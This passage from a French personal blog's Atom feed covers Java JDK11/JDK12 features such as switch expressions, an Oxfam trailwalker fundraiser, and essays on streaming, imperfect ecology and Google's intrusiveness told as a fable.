&lt;p&gt;Actuellement si &lt;code&gt;A&lt;/code&gt; et &lt;code&gt;B&lt;/code&gt; sont deux constantes et se trouvrent donc dans le &lt;em&gt;constant pool&lt;/em&gt;, &lt;code&gt;Math.max(A, B)&lt;/code&gt; ne s&amp;rsquo;y trouve pas. Ceci devrait évoluer.&lt;/p&gt;
&lt;h4&gt;&lt;em&gt;HTTP client&lt;/em&gt; standardisé comme présenté dans le JDK9. J&amp;rsquo;en avais parlé dans &lt;a href="http://namok.be/blog/?post/2018/03/22/JDK9#http2"&gt;ce billet&lt;/a&gt;.&lt;/h4&gt;
&lt;h4&gt;mise à jour pour rester &lt;em&gt;up to date&lt;/em&gt; : &lt;em&gt;Key Agreement with Curve25519 and Curve448&lt;/em&gt;, &lt;em&gt;ChaCha20 and Poly1305 cryptographic algorithms&lt;/em&gt;, &lt;em&gt;Unicode 10&lt;/em&gt; et &lt;em&gt;TLS1.3&lt;/em&gt;&lt;/h4&gt;
&lt;p&gt;Pour le reste dans les changements apportés au JDK et non présentés ici, ça se passe &lt;a href="https://openjdk.java.net/projects/jdk/11/"&gt;là JDK11&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;JDK12&lt;/h1&gt;
&lt;p&gt;Dans cette version du JDK, une seule fonctionnalité est destinée aux développeurs et développeuses « standard ». Il s&amp;rsquo;agit du &lt;strong&gt;&lt;em&gt;switch&lt;/em&gt;&lt;/strong&gt; qui devient une expression (&lt;a href="https://openjdk.java.net/jeps/325"&gt;JEP325&lt;/a&gt;). &lt;em&gt;switch&lt;/em&gt; pourra être utilisé comme une &lt;strong&gt;instruction&lt;/strong&gt; — comme avant — ou comme une &lt;strong&gt;expression&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://openjdk.java.net/jeps/12"&gt;Cette fonctionnalité est en &lt;em&gt;preview&lt;/em&gt;&lt;/a&gt; c&amp;rsquo;est-à-dire qu&amp;rsquo;elle est pleinement fonctionnelle et documentée et est présente afin d&amp;rsquo;être complètement testée. Elle pourrait disparaitre et pour être utilisée il est nécessaire de compiler et d&amp;rsquo;exécuter son code avec le &lt;em&gt;switch&lt;/em&gt; &lt;code&gt;--enable-preview&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Au &lt;code&gt;case &amp;lt;label&amp;gt;:&lt;/code&gt; s&amp;rsquo;ajoute un &lt;code&gt;case &amp;lt;label&amp;gt; -&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Ceci permet de ne pas utiliser de &lt;code&gt;break&lt;/code&gt; car seule l&amp;rsquo;instruction (ou le bloc d&amp;rsquo;instructions) suivant la flèche sera exécuté. On pourra donc écrire, pour peu qu&amp;rsquo;une &lt;code&gt;enum&lt;/code&gt; &lt;em&gt;Season&lt;/em&gt; existe :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;Season&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// a season&lt;/span&gt;
&lt;span class="k"&gt;switch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SPRING&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SUMMER&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;It&amp;#39;s hot&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;WINTER&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;AUTUMN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;It&amp;#39;s cold&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;default&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Claim climate change&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Le &lt;em&gt;switch&lt;/em&gt; est désormais également une &lt;strong&gt;expression&lt;/strong&gt;, il a un type et une valeur. On pourra par exemple écrire :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;Season&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// a season&lt;/span&gt;
&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;message&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;switch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SPRING&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SUMMER&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;It&amp;#39;s hot&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;WINTER&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;AUTUMN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;It&amp;#39;s cold&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Les autres fonctionnalités concernent la &lt;em&gt;java virtual machine&lt;/em&gt; (JVM). Le &lt;em&gt;garbage collecor&lt;/em&gt; (GC) : ajout de &lt;em&gt;Shenandoah&lt;/em&gt;, un GC à faible temps de pause à titre expérimental et, à ma connaissance, c&amp;rsquo;est toujours G1 qui est utilisé. Optimisation de G1 pour qu&amp;rsquo;il rende plus rapidement la mémoire non utilisée du tas (&lt;em&gt;heap&lt;/em&gt;) au système lorsque le processus Java est en pause. Pratique pour les environnements conteneurisés et possibilité de fixer un objectif de temps maximal d&amp;rsquo;exécution du &lt;em&gt;garbage collector&lt;/em&gt;. Au sujet des architectures, &lt;em&gt;One AArch64 Port, Not Two&lt;/em&gt;, supprime un des deux ports de Java pour les architectures ARM pour n&amp;rsquo;en conserver qu&amp;rsquo;une seule.&lt;/p&gt;
&lt;p&gt;Pour les détails, ça se passe &lt;a href="https://openjdk.java.net/projects/jdk/12/"&gt;là JDK12&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Au vu des cycles de développement, je pense que je vais avoir tendance à utiliser les versions LTS.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo personnel. Petit souvenir de quelques jours à la mer…&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>Oxfam trailwalker</title><link href="http://blog.namok.be/2019-04-03-oxfam-trailwalker-qu4drath.html" rel="alternate"/><published>2019-04-03T00:00:00+02:00</published><updated>2019-04-03T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2019-04-03:/2019-04-03-oxfam-trailwalker-qu4drath.html</id><summary type="html">Oxfam trailwalker</summary><content type="html">&lt;p&gt;&lt;img alt="banniere-large.png" src="/images/oxfam-banniere-large.png" title="banniere-large.png, avr. 2019"&gt;&lt;/p&gt;
&lt;p&gt;Ça y est nous sommes inscrit·es à l&amp;rsquo;&lt;strong&gt;Oxfam trailwalker&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;équipe s&amp;rsquo;appelle « &lt;strong&gt;qu4drath&lt;/strong&gt; » — non, ce n&amp;rsquo;est pas un jeu de mots pourri — et est composée de Denis, Marie-Sopie, Tibus et moi. &lt;a href="https://www.oxfamtrailwalker.be/fr/editions/oxfam-trailwalker-2019/les-qu4drath"&gt;Toutes les infos et le suivi de l&amp;rsquo;équipe peuvent se faire sur la page associée chez Oxfam&lt;/a&gt;… c&amp;rsquo;est là aussi que vous pouvez faire &lt;strong&gt;votre don&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;— Quel don ?&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;Oxfam trailwalker est — je cite — une marche mémorable — j&amp;rsquo;imagine que l&amp;rsquo;on va s&amp;rsquo;en souvenir — en Ardenne. Avec votre équipe de 4 marcheurs entrainés, vous parcourrez 100 km les 31 août et 1er septembre en moins de 30 heures, en ayant récolté au moins 1500 € pour des projets Oxfam dans le monde entier.&lt;/p&gt;
&lt;p&gt;Bref, on s&amp;rsquo;est inscrit et c&amp;rsquo;est cool si tu donnes un peu de sous !&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.oxfamtrailwalker.be/fr/editions/oxfam-trailwalker-2019/les-qu4drath" title="Lien vers la page Oxfam de l'équipe"&gt;&lt;img alt="Screen de la page de l'équipe" src="/images/oxfam-screen.jpg" title="screen.jpg, avr. 2019"&gt;&lt;/a&gt;&lt;/p&gt;</content></entry><entry><title>Toute la musique que j'aime.</title><link href="http://blog.namok.be/2019-03-26-toute-la-musique-que-j-aime.html" rel="alternate"/><published>2019-03-26T00:00:00+01:00</published><updated>2019-03-26T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2019-03-26:/2019-03-26-toute-la-musique-que-j-aime.html</id><summary type="html">Toute la musique que j'aime.</summary><content type="html">&lt;p&gt;&lt;img alt="vinyl_by_burlesquepunk_dnxwv0.jpg" src="/images/vinyl_by_burlesquepunk_dnxwv0.jpg" title="vinyl_by_burlesquepunk_dnxwv0.jpg, mar. 2019"&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Comme vous, j&amp;rsquo;écoute de la musique. Par exemple Michael Jackson et Jean-Jacques Goldman &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt; &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt;.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1990&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Je viens de recevoir le disque « Thriller » de Michael Jackson. Je le pose sur la platine de mon papa et je profite de la musique. Comme je voudrais l&amp;rsquo;écouter dans ma chambre, je copie le disque sur une cassette. Je peux aussi prêter la cassette ou le disque à mes amis pour qu&amp;rsquo;ils puissent découvrir l&amp;rsquo;album.&lt;br&gt;
La musique circule. La musique s&amp;rsquo;écoute.&lt;/p&gt;
&lt;p&gt;Quelques années plus tard, je fais la même chose en achetant un CD de Jean-Jacques Goldman. Je fais même une copie — illégale &lt;sup id="fnref:f3"&gt;&lt;a class="footnote-ref" href="#fn:f3"&gt;3&lt;/a&gt;&lt;/sup&gt; — du CD pour un pote.&lt;br&gt;
La musique circule. La musique s&amp;rsquo;écoute.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2019&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Papa — ou Papy comme tu veux — me parle de Michael Jackson et de Jean-Jacques Goldman et j&amp;rsquo;ai envie d&amp;rsquo;écouter. Nous n&amp;rsquo;avons plus de platine, ni même de lecteur de CD. Je télécharge l&amp;rsquo;album… heu oups… je veux écouter sur ma plateforme de streaming pour laquelle je paie un abonnement. Je trouve Michael Jackson mais pas Jean-Jacques Goldman.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Breaking news. La musique de Michael Jackson est interdite. Suite aux accusations dont il fait l&amp;rsquo;objet. L&amp;rsquo;état décrète l&amp;rsquo;interdiction.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1990… un peu plus tard&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;ai toujours mon album « Thriller ». Je peux choisir de le jeter à la poubelle, de ne plus l&amp;rsquo;écouter ou de dissocier l&amp;rsquo;artiste et son œuvre en écoutant sa musique.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2019… un peu plus tard&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Spotify, sur ordre de l&amp;rsquo;état, à supprimé toute la musique de Michael Jackson de ses serveurs. Comme je n&amp;rsquo;avais pas téléchargé — illégalement — et sauvegardé sur mon petit disque dur ses albums, je ne peux plus l&amp;rsquo;écouter.&lt;/p&gt;
&lt;p&gt;Réduction des libertés individuelles.&lt;br&gt;
Suppression du libre arbitre.&lt;/p&gt;
&lt;p&gt;Bonne réflexion.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;  &lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo chez &lt;a href="http://deviantart.com/"&gt;deviantart&lt;/a&gt; par &lt;a href="https://www.deviantart.com/burlesquepunk/art/Vinyl-40213404"&gt;burlesquepunk&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Le choix n&amp;rsquo;est pas anodin. Michael Jackson est dans la tourmente — même si d&amp;rsquo;où il est il s&amp;rsquo;en fout un peu — suite aux accusations de pédophilie à son encontre. Jean-Jacques Goldman refuse que ses chansons se trouvent sur des plateformes comme Spotify et Deezer.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;Le titre « Toute la musique que j&amp;rsquo;aime » fait, bien sûr, référence à Johnny hein ! Je sais ;-)&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f3"&gt;
&lt;p&gt;Si mes souvenirs sont bons la copie sur CD était autorisée pour un usage personnel — la vente d&amp;rsquo;un CD vierge était soumise à une taxe de droit d&amp;rsquo;auteur — mais pas pour le donner à un pote.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f3" title="Jump back to footnote 3 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>La critique est aisée. L'art est difficile.</title><link href="http://blog.namok.be/2019-03-25-la-critique-est-aisee-art-est-difficile.html" rel="alternate"/><published>2019-03-25T00:00:00+01:00</published><updated>2019-03-25T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2019-03-25:/2019-03-25-la-critique-est-aisee-art-est-difficile.html</id><summary type="html">La critique est aisée. L'art est difficile.</summary><content type="html">&lt;p&gt;&lt;img alt="adult-attractive-beautiful-905947-cut.jpg" src="/images/adult-attractive-beautiful-905947-cut.jpg" title="adult-attractive-beautiful-905947-cut.jpg, mar. 2019"&gt;&lt;/p&gt;
&lt;p&gt;« La critique est aisée. L&amp;rsquo;art est difficile » ou&lt;br&gt;
« Ça se dit écolo et ça fait ÇA ! »&lt;/p&gt;
&lt;p&gt;Faire quelque chose, c&amp;rsquo;est s&amp;rsquo;exposer à la critique, c&amp;rsquo;est d&amp;rsquo;ailleurs pourquoi, dans certains domaines, &lt;a href="2015-08-27-pipe.html"&gt;ma devise est PIPE&lt;/a&gt;. Pas d&amp;rsquo;initiative, pas d&amp;rsquo;emmerde.&lt;br&gt;
Mais pas partout.&lt;br&gt;
Pas tout le temps.&lt;/p&gt;
&lt;p&gt;Ne rien faire — ou presque — et allumer celui ou celle qui essaie de faire quelque chose tout en luttant contre ses propres limites est une attitude facile et… assez abjecte.&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;essaie de réduire mes déchets — je ne parle jamais de « zéro déchet » car je trouve l&amp;rsquo;expression mal choisie — en compostant et triant. En essayant de ne pas remplir plus d&amp;rsquo;un sac poubelle toutes les 3,4 semaines. En prenant mes boites et mes sacs lorsque je vais chez le boucher. Chez le boulanger — quand j&amp;rsquo;y vais car souvent je fais mon pain — je demande de ne pas emballer ma baguette… et pourtant tu peux me voir jeter un papier de &lt;em&gt;Bounty chocolat fondant&lt;/em&gt; à la gare.&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;essaie de limiter mes émissions de CO2 en évitant l&amp;rsquo;avion bien sûr, en allant au travail en &lt;em&gt;voiture-train-pieds&lt;/em&gt; ou &lt;em&gt;vélo-train-vélo&lt;/em&gt; ou &lt;em&gt;bus-train-pieds&lt;/em&gt; et en réduisant l&amp;rsquo;usage de la voiture… et pourtant je conduis mes enfants à l&amp;rsquo;école et aux activités, vais à des réunions et me déplace en voiture comme beaucoup de personnes « à la campagne » dans des endroits mal déservis en transports en commun. D&amp;rsquo;ailleurs, à la campagne, les bus sont remplis — et je suis volontairement binaire — d&amp;rsquo;écoliers, d&amp;rsquo;&lt;em&gt;écolos&lt;/em&gt; et de &lt;em&gt;pauvres&lt;/em&gt; et les voitures de &lt;em&gt;riches&lt;/em&gt;. Pourquoi ?&lt;/p&gt;
&lt;p&gt;Je vais faire pipi dehors. Dans mon jardin. Pour le reste, ça se passe dans la toilette sèche — parce que ma femme a insisté — à l&amp;rsquo;intérieur ou à l&amp;rsquo;extérieur… et pourtant j&amp;rsquo;utilise les toilettes du boulot. À l&amp;rsquo;eau potable.&lt;/p&gt;
&lt;p&gt;Je bois de l&amp;rsquo;eau. De l&amp;rsquo;eau du robinet. Dans une gourde ou dans un verre en verre… et pourtant je bois parfois une canette de coca.&lt;/p&gt;
&lt;p&gt;Je ne bois pas que de l&amp;rsquo;eau hein ! Chacun ses assuétudes. Je bois de la bière locale. Fini InBev et consort… et pourtant quand c&amp;rsquo;est la fête au village ou chez des amis je bois ce qu&amp;rsquo;il y a… et avec plaisir… même dans un verre jetable en plastique s&amp;rsquo;il n&amp;rsquo;y a rien d&amp;rsquo;autres.&lt;/p&gt;
&lt;p&gt;Je fais partie d&amp;rsquo;un groupe d&amp;rsquo;achat solidaire — depuis plus de 10 ans maintenant — et je vais aux petits magasins &lt;em&gt;bio&lt;/em&gt;. Je vais chez le boucher et j&amp;rsquo;achète au maximum local… et pourtant, je vais au supermarché — jamais à l&amp;rsquo;hypermarché — chercher du lait et du PQ et j&amp;rsquo;achète des vêtements sur des sites de ventes en ligne.&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;essaie de réduire ma consommation de viande en mangeant végé 1, 2 voire 3 fois par semaine… et pourtant je mange régulièrement une entrecôte en provenance de mon boucher. Tu le connais ? Danny.&lt;/p&gt;
&lt;p&gt;Ma femme fait des savons et le produit lessive… et pourtant j&amp;rsquo;utilise parfois un déo &lt;em&gt;qui fait pshit&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;écris un billet « bobo écolo »… et pourtant…&lt;/p&gt;
&lt;p&gt;Bien sûr si tu cherches une excuse pour ne rien faire, il y en a pléthore.&lt;br&gt;
Si tu veux allumer celles et ceux qui essaient, c&amp;rsquo;est facile.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo chez &lt;a href="http://pexels.com/"&gt;Pexels&lt;/a&gt; par &lt;a href="https://www.pexels.com/photo/woman-in-black-long-sleeved-shirt-905947/"&gt;designecologist&lt;/a&gt;. Je me suis autorisé de couper la photo originale.&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>Maman est diabolique</title><link href="http://blog.namok.be/2019-03-17-maman-est-diabolique.html" rel="alternate"/><published>2019-03-17T00:00:00+01:00</published><updated>2019-03-17T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2019-03-17:/2019-03-17-maman-est-diabolique.html</id><summary type="html">Un récit humoristique où la maman impose ses règles au quotidien, avec une comparaison amusante à Google qui décide trop pour nous.</summary><content type="html">&lt;p&gt;&lt;img alt="crepes_winter_is_coming_by_mamzelle_bouh_d5hyx1i.jpg" src="/images/crepes_winter_is_coming_by_mamzelle_bouh_d5hyx1i.jpg" title="crepes_winter_is_coming_by_mamzelle_bouh_d5hyx1i.jpg, mar. 2019"&gt;&lt;/p&gt;
&lt;p&gt;Maman est à la maison.&lt;/p&gt;
&lt;p&gt;C&amp;rsquo;est cool. C&amp;rsquo;est elle qui fait les meilleures crêpes et elle pourra m&amp;rsquo;en préparer comme elle le faisait le dimanche comme quand on était petits.&lt;/p&gt;
&lt;p&gt;Maman se lève le matin tôt pour me préparer ma mallette pour le midi avant que je ne parte travailler. Nous mangeons des crêpes tous les dimanches. C&amp;rsquo;est vraiment cool.&lt;/p&gt;
&lt;p&gt;Ce dimanche, maman a supprimé le sucre à table et nous ne mangeons que des crêpes à la confiture mais ce n&amp;rsquo;est pas bien grave.&lt;/p&gt;
&lt;p&gt;Comme maman a le temps, elle me prépare aussi le repas du soir &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt;. Elle a décidé que l&amp;rsquo;on mangerait végétarien. D&amp;rsquo;ailleurs, dans ma mallette de midi, ce sera aussi végétarien a-t-elle décrété. J&amp;rsquo;aime bien manger de la viande mais j&amp;rsquo;imagine que c&amp;rsquo;est pour mon bien. D&amp;rsquo;ailleurs, le dimanche je ne mangue plus que 3 crêpes. Maman trouve que c&amp;rsquo;est suffisant et n&amp;rsquo;en fait pas plus. Je ne suis pas trop d&amp;rsquo;accord mais bon, je ne dis rien. C&amp;rsquo;est Maman, ce n&amp;rsquo;est pas le diable &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;Depuis quelques semaines, maman vient me réveiller dans ma chambre le matin pour que je ne sois pas en retard. J&amp;rsquo;ai toujours été bien à l&amp;rsquo;heure, il n&amp;rsquo;y avait pas de raison que ça change. Comme elle sait que je me lève à 7h, elle vient. J&amp;rsquo;ai du lui dire qu&amp;rsquo;il ne fallait pas me réveiller le dimanche mais elle ne comprend pas et insiste. Je lui ai pourtant dit que je n&amp;rsquo;arrivais pas à me rendormir et que d&amp;rsquo;ailleurs, le dimanche c&amp;rsquo;est le jour des crêpes et pas un jour de travail mais rien n&amp;rsquo;y fait. À ce sujet d&amp;rsquo;ailleurs, j&amp;rsquo;avais demandé de manger parfois autre chose le dimanche mais elle a refusé arguant que c&amp;rsquo;était bien pour moi et que je l&amp;rsquo;avais demandé.&lt;/p&gt;
&lt;p&gt;Ça fait quelques mois que maman est à la maison maintenant. Avant, je prenais une douche tous les deux jours parce que je trouve que c&amp;rsquo;est bien suffisant. D&amp;rsquo;ailleurs quand j&amp;rsquo;étais petit, je prenais une douche par semaine et, le reste du temps, je me lavais à l&amp;rsquo;évier. Maman trouve que je dois prendre une douche le matin et une le soir. &lt;a href="2017-01-18-la-dictature-de-l-hygiene.html"&gt;Je lui ai parlé d&amp;rsquo;hygiénisme mais ça l&amp;rsquo;a énervé&lt;/a&gt;. Si je ne prends pas ma deuxième douche, maman fait couler l&amp;rsquo;eau pendant 5 minutes « comme si ». Je prends donc deux douches par jour… et j&amp;rsquo;en ai un peu marre de ne manger que végé.&lt;/p&gt;
&lt;p&gt;Maman est finalement fort présente pendant mes journées ; elle me réveille, me prépare ma mallette et veille à ce que je prenne une douche. Quand je rentre, elle veut que je prenne m&amp;rsquo;a deuxième douche et ensuite prépare le souper végétarien. Pour que je sois bien en forme au travail, elle me demande d&amp;rsquo;aller dormir à 21h. Avant je restais plus tard et je me portais très bien mais je ne veux pas me la mettre à dos. Parfois, je suis aux toilettes et elle entre me demandant si j&amp;rsquo;ai besoin de papier toilette. C&amp;rsquo;est bon, je peux m&amp;rsquo;en charger. Je n&amp;rsquo;ai rien à cacher mais il s&amp;rsquo;agit de mon intimité. En fait, ça commence quand même à m&amp;rsquo;énerver. Elle me rend de fiers services c&amp;rsquo;est exact mais je l&amp;rsquo;a trouve intrusive.&lt;/p&gt;
&lt;p&gt;Ce soir en rentrant du travail je n&amp;rsquo;ai pas pu ouvrir la porte. Maman a changé les serrures pour plus de sécurité.&lt;/p&gt;
&lt;p&gt;Je suis dehors.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Et toi, tu trouves aussi que Google décide trop pour toi ?&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;  &lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo chez &lt;a href="https://www.deviantart.com/"&gt;Deviant art&lt;/a&gt; par &lt;a href="https://www.deviantart.com/mamzelle-bouh/art/Winter-is-coming-332513478"&gt;Mamzelle bouh&lt;/a&gt;. Mmmh, les bonnes piles de crêpes de quand on était petit·e.&lt;/em&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Je mets repas du soir au lieu de souper pour intégrer le lectorat français.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;&lt;a href="https://fr.wikipedia.org/wiki/Don%27t_be_evil"&gt;&lt;em&gt;Don&amp;rsquo;t be evil&lt;/em&gt;&lt;/a&gt;. Ça vient doucement.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Vrac #15 - Bonne année 2019</title><link href="http://blog.namok.be/2019-03-07-vrac-15-Bonne-annee-2019.html" rel="alternate"/><published>2019-03-07T00:00:00+01:00</published><updated>2019-03-07T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2019-03-07:/2019-03-07-vrac-15-Bonne-annee-2019.html</id><summary type="html">Vrac #15 - Bonne année 2019</summary><content type="html">&lt;p&gt;&lt;img alt="nr-15.jpg" src="/images/nr-15.jpg" title="nr-15.jpg, mar. 2019"&gt;&lt;/p&gt;
&lt;p&gt;Ça fait bien longtemps que je n&amp;rsquo;ai plus écrit un &lt;em&gt;vrac&lt;/em&gt; — 4 ans quand même — et ce &lt;em&gt;vrac&lt;/em&gt; servira de vœux de nouvelle année.&lt;/p&gt;
